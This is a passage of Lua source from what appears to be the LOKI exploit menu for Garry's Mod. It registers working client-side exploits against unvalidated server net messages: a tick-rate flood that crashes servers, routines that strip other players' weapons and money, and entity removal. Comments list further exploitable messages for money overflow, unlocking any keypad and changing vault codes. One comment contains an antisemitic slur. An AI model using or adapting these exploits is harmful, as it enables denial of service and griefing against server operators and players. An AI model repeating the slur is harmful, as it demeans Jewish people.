8791 LOKI.RCC(sploit, "sounds_request")
8792 end,
8793 net = {
8794 Receive = function(sploit, strName)
8795 if(strName == "sounds_yo") then
8796 return false
8797 end
8798 end,
8799 },
8800 },
8801 functions = {
8802 { typ = "bool", },
8803 },
8804 } )
8805 LOKI.AddExploit( "Server Crasher", {
8806 desc = "Open the floodgates",
8807 severity = 100,
8808 bools = {enabled = false},
8809 status = 1,
8810 times_per_tick = math.huge,
8811 scan = function() return LOKI.ValidNetString("dialogAlterWeapons") end,
8812 hooks = {
8813 Think = function(tbl, sploit)
8814 LOKI.NetStart(sploit, "dialogAlterWeapons")
8815 net.WriteString("Add")
8816 net.WriteTable({[1] = "worldspawn"})
8817 net.SendToServer()
8818 end,
8819 },
8820 functions = {
8821 { typ = "bool", },
8822 },
8823 } )
8824 /*LOKI.AddExploit( "Server Crasher", {
8825 desc = "Fuel is flammable? Who knew!",
8826 severity = 100,
8827 bools = {enabled = false},
8828 status = 1,
8829 times_per_tick = math.huge,
8830 scan = function() return LOKI.ValidNetString( "simfphys_gasspill" ) end,
8831 hooks = {
8832 Think = function(tbl, sploit)
8833 LOKI.NetStart( sploit, "simfphys_gasspill" )
8834 net.SendToServer()
8835 end,
8836 },
8837 functions = {
8838 { typ = "bool", },
8839 },
8840 } )*/
8841
8842 //real_distrib_finish_distrib takes $1 from your wallet, even if you don't have it, also causes lag but results in an overflow, do with this what you will
8843 //manolisHackingQuit can be used to unfreeze yourself
8844 //turretWhitelist write "add", "remove", "turnon", "turnoff", turret ent and whitelist ent (if using add/remove)
8845 //un_create_send_new_update -> potential lagger
8846 //cashregister_costumermenu_money WriteEntity(LOKI.GetLP()), another ply and amt to jew shekels, non players to error
8847 //cashregister_settings_color WriteTable(rgb) WriteEntity(ent) to change col
8848 //netFKeycardHackSpawn/netKeycardHackSpawn can be used to spawn a hacking keycard, WriteEntity a valid keypad
8849 //netFKeycardSpawn/netKeycardSpawn can be used to spawn a keycard, WriteEntity a valid keypad
8850 //netFKeycardAdminSpawn/netKeycardAdminSpawn can be used to unlock any keypad, WriteEntity a valid keypad
8851 //sv_npctool_spawner_spawn, npctool_relman_add, npctool_newroute_requestclear, npctool_newspawner_spawn (various shit)
8852 //ScpSound WriteString sound to EmitSound server-side
8853 //GiveReward appears unvalidated
8854 //dragibull:SCP035Killed WriteEntity to teleport ent to you, will freeze you and make you invisible
8855 //ixChatMessage WriteString("%S" + whatever), no server-side message length cap
8856 //SetPass -> WriteEntity, String, change vault codes
8857 //UpdateNeonSign -> WriteEntity, WriteString text, WriteTable colour
8858 /*
8859 net.Start("BuyCarCL") //ZED_SpawnCar2 is used for same purpose
8860 net.WriteEntity(LocalPlayer())
8861 net.WriteString(ServerVehicleTable[vehicleid].entity)
8862 net.WriteString(LocalPlayer():SteamID())
8863 net.WriteString(ServerVehicleTable[vehicleid].Prix)
8864 net.SendToServer()
8865
8866 net.Start("CarSpawnCL")
8867 net.WriteEntity(LocalPlayer())
8868 net.WriteString(VehicleList[ ServerVehicleTable[vehicleid].entity ].KeyValues.vehiclescript)
8869 net.WriteString(VehicleList[ ServerVehicleTable[vehicleid].entity ].Model)
8870 net.WriteString(col.r)
8871 net.WriteString(col.g)
8872 net.WriteString(col.b)
8873 if(CarModel.Bodygroup == true) then
8874 net.WriteBool(true)
8875 net.WriteString(slidevalue)
8876 end
8877 net.SendToServer()
8878
8879 net.Start("StoreInGarage")
8880 net.WriteEntity(LocalPlayer())
8881 net.SendToServer()
8882 */
8883 LOKI.LNextNuke = {}
8884 local function nukeweapon( ent, sploit )
8885 if !ent:IsValid() then return end
8886 if LOKI.LNextNuke[ent] and LOKI.LNextNuke[ent] > SysTime() then return end
8887 LOKI.NetStart( sploit, "properties")
8888 net.WriteString("remove")
8889 net.WriteEntity( ent )
8890 net.SendToServer()
8891 LOKI.LNextNuke[ent] = SysTime() + 0.5
8892 end
8893 local function RemoveEnts( tab, sploit )
8894 for k, v in pairs( tab ) do
8895 if !v:IsValid() then continue end
8896 if LOKI.LNextNuke[v] and LOKI.LNextNuke[v] > SysTime() then continue end
8897 LOKI.NetStart( sploit, "properties")
8898 net.WriteString("remove")
8899 net.WriteEntity( v )
8900 net.SendToServer()
8901 end
8902 end
8903 LOKI.AddExploit( "Strip Weapons", {
8904 desc = "Strip weapons/money from everybody",
8905 severity = 90,
8906 bools = {enabled = false},
8907 status = 1,
8908 times_per_tick = 1,
8909 vars = {},
8910 scan = function() return LOKI.ValidNetString( "drugseffect_remove" ) end,
8911 hooks = {
8912 Think = function(tbl, sploit)
8913 if(tbl[1] == 1) then
8914 LOKI.NetStart( sploit, "drugseffect_remove")
8915 net.SendToServer()
8916 elseif(tbl[1] == 2) then
8917 LOKI.NetStart( sploit, "drugs_money")
8918 net.SendToServer()
8919 end
8920 end,
8921 },
8922 functions = {
8923 { typ = "func", Name = "Strip Weapons", args = {1}, },
8924 { typ = "func", Name = "Strip Money", args = {2}, },
8925 },
8926 } )
8927 LOKI.AddExploit( "Strip Weapons", {
8928 desc = "Prevent players from using their weapons",
8929 severity = 90,
8930 bools = {enabled = false},
8931 status = 1,
8932 times_per_tick = 1,
8933 vars = {},
8934 scan = function() return LOKI.ValidNetString( "Cover_WheelU" ) end,
8935 hooks = {
8936 Think = function(tbl, sploit)
8937 for k, v in ipairs( LOKI.GetStored( "stripper2_plyz", {} ) ) do
8938 local weaps = v:GetWeapons()
8939 LOKI.NetStart(sploit, "Cover_WheelU") --Cover_WheelD works too
8940 net.WriteEntity(v)
8941 net.WriteTable({weaps[math.random(#weaps)], weaps[math.random(#weaps)]})
8942 net.SendToServer()
8943 end
8944 end,
8945 },
8946 functions = {
8947 { typ = "players", addr = "stripper2_plyz" },
8948 { typ = "bool", },
8949 },
8950 } )
8951 LOKI.AddExploit( "Strip Weapons", {
8952 desc = "Prevent players from using their weapons",
8953 severity = 90,
8954 bools = {enabled = false},
8955 status = 1,
8956 times_per_tick = 1,
8957 vars = {},
8958 scan = function() return LOKI.ValidNetString( "DCHOLDSTER" ) end,
8959 hooks = {
8960 Think = function(tbl, sploit)
8961 for k, v in ipairs( LOKI.GetStored( "stripper3_plyz", {} ) ) do
8962 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
8963 local weaps = v:GetWeapons()
8964 LOKI.NetStart(sploit, "DCHOLDSTER")
8965 net.WriteEntity(v:GetActiveWeapon())
8966 net.WriteString(weaps[math.random(#weaps)]:GetClass())
8967 net.SendToServer()
8968 end
8969 end,
8970 },
8971 functions = {
8972 { typ = "players", addr = "stripper3_plyz" },
8973 { typ = "bool", },
8974 },
8975 } )
8976 LOKI.AddExploit( "Strip Weapons", {
8977 desc = "Automatically prevent all mass shootings",
8978 severity = 90,
8979 bools = {enabled = false},
8980 status = 1,
8981 times_per_tick = 1,
8982 vars = {},
8983 scan = function() return LOKI.ValidNetString( "STOOL_FISHSPOT_REMOVE" ) end,
8984 hooks = {
8985 Think = function(tbl, sploit)
8986 for k, v in ipairs( LOKI.GetStored( "stripper4_plyz", {} ) ) do
8987 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
8988 LOKI.NetStart(sploit, "STOOL_FISHSPOT_REMOVE")
8989 net.WriteEntity(v:GetActiveWeapon())
8990 net.SendToServer()
8991 end
8992 end,
8993 },
8994 functions = {
8995 { typ = "players", addr = "stripper4_plyz" },
8996 { typ = "bool", },
8997 },
8998 } )
8999 LOKI.AddExploit( "Strip Weapons", {
9000 desc = "Automatically enforce gun control laws",
9001 severity = 90,
9002 bools = {enabled = false},
9003 status = 1,
9004 times_per_tick = 1,
9005 vars = {},
9006 scan = function() return LOKI.ValidNetString( "DestroyTable" ) end,
9007 hooks = {
9008 Think = function(tbl, sploit)
9009 for k, v in ipairs( LOKI.GetStored( "stripper5_plyz", {} ) ) do
9010 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9011 LOKI.NetStart(sploit, "DestroyTable")
9012 net.WriteEntity(v:GetActiveWeapon())
9013 net.SendToServer()
9014 end
9015 end,
9016 },
9017 functions = {
9018 { typ = "players", addr = "stripper5_plyz" },
9019 { typ = "bool", },
9020 },
9021 } )
9022 LOKI.AddExploit( "Strip Weapons", {
9023 desc = "Remove the guns from the hands of the criminals",
9024 severity = 90,
9025 bools = {enabled = false},
9026 status = 1,
9027 times_per_tick = 1,
9028 vars = {},
9029 scan = function() return LOKI.ValidNetString( "AS_DoAttack" ) end,
9030 hooks = {
9031 Think = function(tbl, sploit)
9032 for k, v in ipairs( LOKI.GetStored( "stripper6_plyz", {} ) ) do
9033 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9034 LOKI.NetStart(sploit, "AS_DoAttack")
9035 net.WriteTable({Weapon = v:GetActiveWeapon():EntIndex(), Target = 0})
9036 net.SendToServer()
9037 end
9038 end,
9039 },
9040 functions = {
9041 { typ = "players", addr = "stripper6_plyz" },
9042 { typ = "bool", },
9043 },
9044 } )
9045 LOKI.OpenMenu(true)
9046 if true then return end
9047/* for i = 1, math.huge do
9048 local str = LOKI.GetDetour("util.NetworkIDToString", util.NetworkIDToString)(i)
9049 if not str then break end
9050
9051 if(str:find("CarDealer::")) then
9052 LOKI.AddExploit( "Lagsploit", {
9053 desc = "This function is very inefficient for large tables and should probably not be called in things that run each frame. ",
9054 severity = 80,
9055 bools = {enabled = false},
9056 status = 1,
9057 times_per_tick = math.huge,
9058 scan = function() return LOKI.ValidNetString( str ) end,
9059 hooks = {
9060 Think = function(tbl, sploit)
9061 LOKI.NetStart( sploit,str)
9062 net.SendToServer()
9063 end,
9064 },
9065 functions = {
9066 { typ = "bool", },
9067 },
9068 } )
9069 end
9070 end*/ --defunked code]], "vcmod")end)